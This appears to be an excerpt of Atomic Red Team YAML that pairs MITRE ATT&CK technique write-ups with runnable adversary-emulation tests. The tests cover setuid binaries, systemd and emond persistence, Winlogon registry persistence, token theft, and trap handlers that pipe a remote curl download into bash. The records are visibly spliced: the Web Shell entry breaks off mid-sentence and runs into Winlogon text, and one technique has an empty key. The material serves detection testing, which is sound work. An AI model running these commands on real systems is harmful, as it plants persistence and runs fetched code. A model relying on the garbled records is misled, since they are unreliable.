url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
modified: '2019-06-24T12:06:41.014Z'
identifier: T1166
atomic_tests:
- name: Setuid and Setgid
description: 'Setuid and Setgid
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
payload:
description: hello.c payload
type: path
default: hello.c
executor:
name: manual
steps: |
1. make hello
2. sudo chown root hello
3. sudo chmod u+s hello
4. ./hello
- name: Set a SetUID flag on file
description: 'This test sets the SetUID flag on a file in Linux and macOS.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
file_to_setuid:
description: Path of file to set SetUID flag
type: path
default: "/tmp/evilBinary"
executor:
name: sh
command: |
sudo chown root #{file_to_setuid}
sudo chmod u+s #{file_to_setuid}
- name: Set a SetGID flag on file
description: 'This test sets the SetGID flag on a file in Linux and macOS.
'
supported_platforms:
- macos
- centos
- ubuntu
- linux
input_arguments:
file_to_setuid:
description: Path of file to set SetGID flag
type: path
default: "/tmp/evilBinary"
executor:
name: sh
command: |
sudo chown root #{file_to_setuid}
sudo chmod g+s #{file_to_setuid}
T1165:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- File monitoring
- Process monitoring
name: Startup Items
description: "Per Apple’s documentation, startup items execute during the final
phase of the boot process and contain shell scripts or other executable files
along with configuration information used by the system to determine the execution
order for all startup items (Citation: Startup Items). This is technically
a deprecated version (superseded by Launch Daemons), and thus the appropriate
folder, /Library/StartupItems isn’t guaranteed to exist on the
system by default, but does appear to exist by default on macOS Sierra. A
startup item is a directory whose executable and configuration property list
(plist), StartupParameters.plist, reside in the top-level directory.
\n\nAn adversary can create the appropriate folders/files in the StartupItems
directory to register their own persistence mechanism (Citation: Methods of
Mac Malware Persistence). Additionally, since StartupItems run during the
bootup phase of macOS, they will run as root. If an adversary is able to modify
an existing Startup Item, then they will be able to Privilege Escalate as
well."
id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: The /Library/StartupItems folder can be monitored
for changes. Similarly, the programs that are actually executed from this
mechanism should be checked against a whitelist. Monitor processes that are
executed during the bootup process to check for unusual or unknown applications
and behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1165
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1165
- source_name: Startup Items
description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
modified: '2019-07-18T17:58:17.016Z'
identifier: T1165
atomic_tests:
- name: Startup Items
description: |
Modify or create an file in StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
supported_platforms:
- macos
executor:
name: manual
steps: '1. /Library/StartupItems/StartupParameters.plist
'
- name: Startup Items (emond rule)
description: 'Establish persistence via a rule run by emond daemon at startup,
based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
'
supported_platforms:
- macos
input_arguments:
plist:
description: Path to emond plist file
type: path
default: "/path/to/T1165_emond.plist"
executor:
name: sh
command: |
sudo cp "#{plist}" /etc/emond.d/rules/T1165_emond.plist
sudo touch /private/var/db/emondClients/T1165
cleanup_command: |
sudo rm /etc/emond.d/rules/T1165_emond.plist
sudo rm /private/var/db/emondClients/T1165
T1501:
technique:
x_mitre_data_sources:
- Process command-line parameters
- Process monitoring
- File monitoring
x_mitre_permissions_required:
- root
- User
name: Systemd Service
description: "Systemd services can be used to establish persistence on a Linux
system. The systemd service manager is commonly used for managing background
daemon processes (also known as services) and other system resources.(Citation:
Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd
29SEP2018) Systemd is the default initialization (init) system on many Linux
distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora
15, and replaces legacy init systems including SysVinit and Upstart while
remaining backwards compatible with the aforementioned init systems.\n\nSystemd
utilizes configuration files known as service units to control how services
boot and under what conditions. By default, these unit files are stored in
the /etc/systemd/system and /usr/lib/systemd/system
directories and have the file extension .service. Each service
unit file may contain numerous directives that can execute system commands.
\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution
of commands when a services is started manually by 'systemctl' or on system
start if the service is set to automatically start. \n* ExecReload directive
covers when a service restarts. \n* ExecStop and ExecStopPost directives cover
when a service is stopped or manually by 'systemctl'.\n\nAdversaries have
used systemd functionality to establish persistent access to victim systems
by creating and/or modifying service unit files that cause systemd to execute
malicious commands at recurring intervals, such as at system boot.(Citation:
Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation:
Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation:
acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries
typically require root privileges to create/modify service unit files in the
/etc/systemd/system and /usr/lib/systemd/system
directories, low privilege users can create/modify service unit files in directories
such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation:
Rapid7 Service Persistence 22JUNE2016)"
id: attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e
x_mitre_platforms:
- Linux
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.
Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -–type=service –all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.
Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Tony Lambert, Red Canary
created: '2019-04-23T15:34:30.008Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- source_name: mitre-attack
external_id: T1501
url: https://attack.mitre.org/techniques/T1501
- description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
Retrieved April 23, 2019.
source_name: 'Linux man-pages: systemd January 2014'
url: http://man7.org/linux/man-pages/man1/systemd.1.html
- description: Freedesktop.org. (2018, September 29). systemd System and Service
Manager. Retrieved April 23, 2019.
source_name: Freedesktop.org Linux systemd 29SEP2018
url: https://www.freedesktop.org/wiki/Software/systemd/
- description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
a New Malware Family Written in Golang. Retrieved April 24, 2019.
source_name: Anomali Rocke March 2019
url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
- description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
Arch package compromise. Retrieved April 23, 2019.
source_name: gist Arch package compromise 10JUL2018
url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
- description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
AUR Package Repository. Retrieved April 23, 2019.
source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
- description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
April 23, 2019.
source_name: acroread package compromised Arch Linux Mail 8JUL2018
url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
- description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
23, 2019.
source_name: Rapid7 Service Persistence 22JUNE2016
url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
modified: '2019-07-18T18:46:58.577Z'
identifier: T1501
atomic_tests:
- name: Create Systemd Service
description: 'This test creates a Systemd service unit file and enables it as
a service.
'
supported_platforms:
- linux
input_arguments:
execstart_action:
description: ExecStart action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execstart-marker"
execstartpre_action:
description: ExecStartPre action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execstartpre-marker"
execstartpost_action:
description: ExecStartPost action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execstartpost-marker"
execreload_action:
description: ExecReload action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execreload-marker"
execstop_action:
description: ExecStop action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execstop-marker"
execstoppost_action:
description: ExecStopPost action for Systemd service
type: String
default: "/bin/touch /tmp/art-systemd-execstoppost-marker"
systemd_service_path:
description: Path to systemd service unit file
type: Path
default: "/etc/systemd/system"
systemd_service_file:
description: File name of systemd service unit file
type: String
default: art-systemd-service.service
executor:
name: bash
command: |
echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
echo "Type=simple"
echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
echo "" >> #{systemd_service_path}/#{systemd_service_file}
echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
systemctl daemon-reload
systemctl enable #{systemd_service_file}
systemctl start #{systemd_service_file}
cleanup_command: |
systemctl stop #{systemd_service_file}
systemctl disable #{systemd_service_file}
rm -rf #{systemd_service_path}/#{systemd_service_file}
systemctl daemon-reload
T1154:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Trap
description: 'The trap command allows programs and shells to specify
commands that will be executed upon receiving interrupt signals. A common
situation is a script allowing for graceful termination and handling of common keyboard
interrupts like ctrl+c and ctrl+d. Adversaries can
use this to register code to be executed when the shell encounters specific
interrupts either to gain execution or as a persistence mechanism. Trap commands
are of the following format trap ''command list'' signals where
"command list" will be executed when "signals" are received.(Citation: Trap
Manual)(Citation: Cyberciti Trap Statements)'
x_mitre_remote_support: false
id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Trap commands must be registered for the shell or programs,
so they appear in files. Monitoring files for suspicious or overly broad trap
commands can narrow down suspicious behavior during an investigation. Monitor
for suspicious processes executed through trap interrupts.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1154
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1154
- description: ss64. (n.d.). trap. Retrieved May 21, 2019.
source_name: Trap Manual
url: https://ss64.com/bash/trap.html
- description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
2019.
source_name: Cyberciti Trap Statements
url: https://bash.cyberciti.biz/guide/Trap_statement
modified: '2019-05-21T13:46:15.452Z'
identifier: T1154
atomic_tests:
- name: Trap
description: |
After exiting the shell, the script will download and execute.
After sending a keyboard interrupt (CTRL+C) the script will download and execute.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
command: |
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT
T1100:
technique:
x_mitre_data_sources:
- Anti-virus
- Authentication logs
- File monitoring
- Netflow/Enclave netflow
- Process monitoring
type: attack-pattern
name: Web Shell
description: |-
A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.
id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Adversary access to Web server with vulnerability or account to upload and
serve the Web shell file.
x_mitre_detection: |-
Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows
NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows
NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper
programs and functionalities that support Winlogon. (Citation: Cylance Reg
Persistence Sept 2013) \n\nMalicious modifications to these Registry keys
may cause Winlogon to load and execute malicious DLLs and/or executables.
Specifically, the following subkeys have been known to be possibly vulnerable
to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify
- points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit
- points to userinit.exe, the user initialization program executed when a
user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
executed when a user logs on\n\nAdversaries may take advantage of these features
to repeatedly execute malicious code and establish Persistence."
id: attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:30:20.148Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1004
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1004
- source_name: capec
external_id: CAPEC-579
url: https://capec.mitre.org/data/definitions/579.html
- source_name: Cylance Reg Persistence Sept 2013
description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-17T19:16:41.584Z'
identifier: T1004
atomic_tests:
- name: Winlogon Shell Key Persistence - PowerShell
description: 'PowerShell code to set Winlogon shell key to execute a binary
at logon along with explorer.exe.
'
supported_platforms:
- windows
input_arguments:
binary_to_execute:
description: Path of binary to execute
type: Path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
elevation_required: false
command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
"Shell" "explorer.exe, #{binary_to_execute}" -Force
'
- name: Winlogon Userinit Key Persistence - PowerShell
description: 'PowerShell code to set Winlogon userinit key to execute a binary
at logon along with userinit.exe.
'
supported_platforms:
- windows
input_arguments:
binary_to_execute:
description: Path of binary to execute
type: Path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
elevation_required: false
command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"
"Userinit" "Userinit.exe, #{binary_to_execute}" -Force
'
- name: Winlogon Notify Key Logon Persistence - PowerShell
description: 'PowerShell code to set Winlogon Notify key to execute a notification
package DLL at logon.
'
supported_platforms:
- windows
input_arguments:
binary_to_execute:
description: Path of notification package to execute
type: Path
default: C:\Windows\Temp\atomicNotificationPackage.dll
executor:
name: powershell
elevation_required: false
command: |
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
defense-evasion:
T1134:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- API monitoring
- Access tokens
- Process monitoring
- Process command-line parameters
name: Access Token Manipulation
description: "Windows uses access tokens to determine the ownership of a running
process. A user can manipulate access tokens to make a running process appear
as though it belongs to someone other than the user that started the process.
When this occurs, the process also takes on the security context associated
with the new token. For example, Microsoft promotes the use of access tokens
as a security best practice. Administrators should log in as a standard user
but run their tools with administrator privileges using the built-in access
token manipulation command runas.(Citation: Microsoft runas)\n
\ \nAdversaries may use access tokens to operate under a different user or
system security context to perform actions and evade detection. An adversary
can use built-in Windows API functions to copy access tokens from existing
processes; this is known as token stealing. An adversary must already be in
a privileged user context (i.e. administrator) to steal a token. However,
adversaries commonly use token stealing to elevate their security context
from the administrator level to the SYSTEM level. An adversary can use a token
to authenticate to a remote system as the account for that token if the account
has appropriate permissions on the remote system.(Citation: Pentestlab Token
Manipulation)\n\nAccess tokens can be leveraged by adversaries through three
methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n**Token
Impersonation/Theft** - An adversary creates a new access token that duplicates
an existing token using DuplicateToken(Ex). The token can then
be used with ImpersonateLoggedOnUser to allow the calling thread
to impersonate a logged on user's security context, or with SetThreadToken
to assign the impersonated token to a thread. This is useful for when the
target user has a non-network logon session on the system.\n\n**Create Process
with a Token** - An adversary creates a new access token with DuplicateToken(Ex)
and uses it with CreateProcessWithTokenW to create a new process
running under the security context of the impersonated user. This is useful
for creating a new process under the security context of a different user.\n\n**Make
and Impersonate Token** - An adversary has a username and password but the
user is not logged onto the system. The adversary can then create a logon
session for the user using the LogonUser function. The function
will return a copy of the new session's access token and the adversary can
use SetThreadToken to assign the token to a thread.\n\nAny standard
user can use the runas command, and the Windows API functions,
to create impersonation tokens; it does not require access to an administrator
account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation
and uses token impersonation to escalate privileges.(Citation: Metasploit
access token) The Cobalt Strike beacon payload allows arbitrary token impersonation
and can also create tokens. (Citation: Cobalt Strike Access Token)"
id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: "If an adversary is using a standard command-line shell,
analysts can detect token manipulation by auditing command-line activity.
Specifically, analysts should look for use of the runas command.
Detailed command-line logging is not enabled by default in Windows.(Citation:
Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
calls the Windows token APIs directly, analysts can detect token manipulation
only through careful analysis of user network activity, examination of running
processes, and correlation with other endpoint and network behavior. \n\nThere
are many Windows API calls a payload can take advantage of to manipulate access
tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation:
Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation:
Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
pages for more information.\n\nQuery systems for process and thread token
information and look for inconsistencies such as user owns processes impersonating
the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)"
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Tom Ueltschi @c_APT_ure
- Travis Smith, Tripwire
- Robby Winchester, @robwinchester3
- Jared Atkinson, @jaredcatkinson
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1134
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1134
- source_name: capec
external_id: CAPEC-633
url: https://capec.mitre.org/data/definitions/633.html
- source_name: Microsoft runas
description: Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.
url: https://technet.microsoft.com/en-us/library/bb490994.aspx
- source_name: Pentestlab Token Manipulation
description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
21, 2017.
url: https://pentestlab.blog/2017/04/03/token-manipulation/
- source_name: BlackHat Atkinson Winchester Token Manipulation
description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
- source_name: Metasploit access token
description: Offensive Security. (n.d.). What is Incognito. Retrieved April
21, 2017.
url: https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
- source_name: Cobalt Strike Access Token
description: Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials.
Retrieved April 21, 2017.
url: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/
- source_name: Microsoft Command-line Logging
description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
April 21, 2017.
url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
- source_name: Microsoft LogonUser
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
- source_name: Microsoft DuplicateTokenEx
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
- source_name: Microsoft ImpersonateLoggedOnUser
description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
modified: '2019-10-14T20:45:04.451Z'
identifier: T1134
atomic_tests:
- name: Access Token Manipulation
description: |
Creates a process as another user
Requires Administrator Privileges To Execute Test
supported_platforms:
- windows
input_arguments:
target_user:
description: Username To Steal Token From
type: String
default: SYSTEM
executor:
name: powershell
elevation_required: true
command: |
#list processes by user,
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
#Steal Token
. .\src\T1134.ps1
'':
technique:
x_mitre_data_sources:
- Authentication logs
- Office 365 account logs
name: Web Session Cookie
description: "Adversaries can use stolen session cookies to authenticate to
web applications and services. This technique bypasses some multi-factor authentication
protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication
cookies are commonly used in web applications, including cloud-based services,
after a user has authenticated to the service so credentials are not passed
and re-authentication does not need to occur as frequently. Cookies are often
valid for an extended period of time, even if the web application is not actively
used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),
the adversary then imports the cookie into a browser they control and is able
to use the site or application as the user for as long as the session cookie
is active. Once logged into the site, an adversary can access sensitive information,
read email, or perform actions that the victim account has permissions to
perform.\n\nThere have been examples of malware targeting session cookies
to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto
Cookies January 2019) "
id: attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5
modified: '2019-10-17T13:21:27.306Z'
x_mitre_platforms:
- Office 365
- SaaS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor for anomalous access of websites and cloud-based
applications by the same user in different locations or by different systems
that do not match expected configurations.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Johann Rehberger
created: '2019-10-08T20:08:56.205Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1506
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1506
- source_name: Pass The Cookie
description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
the Cookie. Retrieved April 5, 2019.
url: https://wunderwuzzi23.github.io/blog/passthecookie.html
- description: Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware
Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
source_name: Unit 42 Mac Crypto Cookies January 2019
url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
x_mitre_defense_bypassed:
- Logon Credentials
- Multi-Factor Authentication
atomic_tests: []
T1197:
technique:
x_mitre_data_sources:
- API monitoring
- Packet capture
- Windows event logs
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
name: BITS Jobs
description: |-
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)
Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)
BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)
id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
modified: '2019-07-16T20:02:53.027Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Red Canary
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1197
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1197
- source_name: Microsoft COM
description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
22, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
- source_name: Microsoft BITS
description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
January 12, 2018.
url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
- source_name: Microsoft BITSAdmin
description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
url: https://msdn.microsoft.com/library/aa362813.aspx
- source_name: CTU BITS Malware June 2016
description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
with BITS. Retrieved January 12, 2018.
url: https://www.secureworks.com/blog/malware-lingers-with-bits
